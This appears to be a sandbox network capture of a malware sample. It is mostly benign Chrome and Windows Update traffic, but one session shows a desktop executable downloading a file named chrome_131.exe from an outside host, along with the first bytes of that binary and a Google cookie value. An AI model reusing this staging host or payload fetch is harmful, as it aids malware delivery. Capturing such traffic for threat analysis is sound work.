2024-11-01 12:42:09 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 12:42:10 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 31 Oct 2024 14:25:53 GMT Expires: Fri, 31 Oct 2025 14:25:53 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 80176 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-01 12:42:10 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-01 12:42:10 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-01 12:42:10 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-01 12:42:10 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-01 12:42:10 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-01 12:42:10 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-01 12:42:10 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-01 12:42:10 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-01 12:42:10 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-01 12:42:10 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49751	142.250.185.142	443	6404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:10 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 906 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 12:42:10 UTC	906	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 34 36 34 39 32 37 33 38 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730464927383",null,null,null,
2024-11-01 12:42:10 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=puTkTBej2EFuaYwbhkpqhJmHuuaPV0_WUzmtjzRNFBqSGRC9otBoV_905FJHOoe6bjeoOMkOt8lJyszqU5UmJiroSiV9Tx5FgdeUEVGR7-dsTdF7BHVzchg5B1P5xHh_DR7iSdeG2lBZikNUj21-yRH0n08DIer_2GW3fC1V6tHzxYDVVA; expires=Sat, 03-May-2025 12:42:10 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 01 Nov 2024 12:42:10 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 01 Nov 2024 12:42:10 GMT Connection: close Transfer-Encoding: chunked
2024-11-01 12:42:10 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-01 12:42:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49755	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=zcUkYwW74HRy3Cy&MD=4EM2WbO3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-01 12:42:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e35a4d9c-52ed-4ba9-94c1-e64dee7b145f MS-RequestId: 1bc241ac-dc68-4897-94aa-77765bef8dcf MS-CV: iWGLm1CTOkWfeA3/.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 01 Nov 2024 12:42:13 GMT Connection: close Content-Length: 24490
2024-11-01 12:42:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-01 12:42:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49762	87.106.236.48	443	6956	C:\Users\user\Desktop\xLgTQcFdIJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:28 UTC	83	OUT	GET /chrome_131.exe HTTP/1.1 Host: perseverclinic.com Cache-Control: no-cache
2024-11-01 12:42:28 UTC	272	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 01 Nov 2024 12:42:28 GMT Content-Type: application/octet-stream Content-Length: 8707480 Last-Modified: Thu, 31 Oct 2024 22:19:23 GMT Connection: close ETag: "6724026b-84dd98" X-Powered-By: PleskLin Accept-Ranges: bytes
2024-11-01 12:42:28 UTC	16112	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0e 00 43 62 23 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 10 01 00 00 a2 6c 00 00 00 00 00 b0 e0 c5 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 f8 00 00 04 00 00 2d 0e 85 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEdCb#g"l@`-`
2024-11-01 12:42:28 UTC	16384	IN	Data Raw: 7d 9f c8 5b 6d ce 2b 87 2c d7 18 97 1c d5 9b bd 98 84 fb 02 06 df 75 cd 83 61 3f 3e e8 cb 3a f4 4b 25 14 bf c2 9f 94 e6 4a fc 8a 1d b3 53 47 f3 25 97 44 ac 9c 9a 0d 41 48 30 da fd 60 c4 84 bd 2e 39 14 dd dc e5 42 79 9a f5 84 38 14 69 42 3e 0b 3a 18 25 1c 34 35 8a 25 c6 fb 9f 27 4c d2 99 1e a2 94 3e 2b 5b 3d 47 dc 8a a5 e2 b4 b1 7f 03 e3 3c 17 36 bf 96 84 ac 9b 61 d4 06 18 e0 6a cd 76 20 8e 3e 9a 02 85 05 18 e6 76 a4 cf 7f ea f0 83 00 1c 11 2e e9 4e d2 b7 df 35 f7 93 48 3c df e3 0d 95 bb ae 75 55 d1 23 4c 2f df 9c a5 35 03 d7 48 a6 d0 3a d9 ce 46 20 eb e0 c5 1d c2 f1 e8 8f 9a 9b da 75 d1 1f ff c0 5d 9d 27 63 b0 ff 45 cf f4 85 3b d0 3b 3b 91 75 28 4d ea e5 8b f0 cb 26 e7 65 d5 ad 6d 09 5e e7 23 7f 73 48 9b 2d 43 c2 59 8f f7 19 bd c6 b5 a5 a3 6c 6d 1d a0 df Data Ascii: }[m+,ua?>:K%JSG%DAH0`.9By8iB>:%45%'L>+[=G<6ajv >v.N5H<uU#L/5H:F u]'cE;;;u(M&em^#sH-CYlm
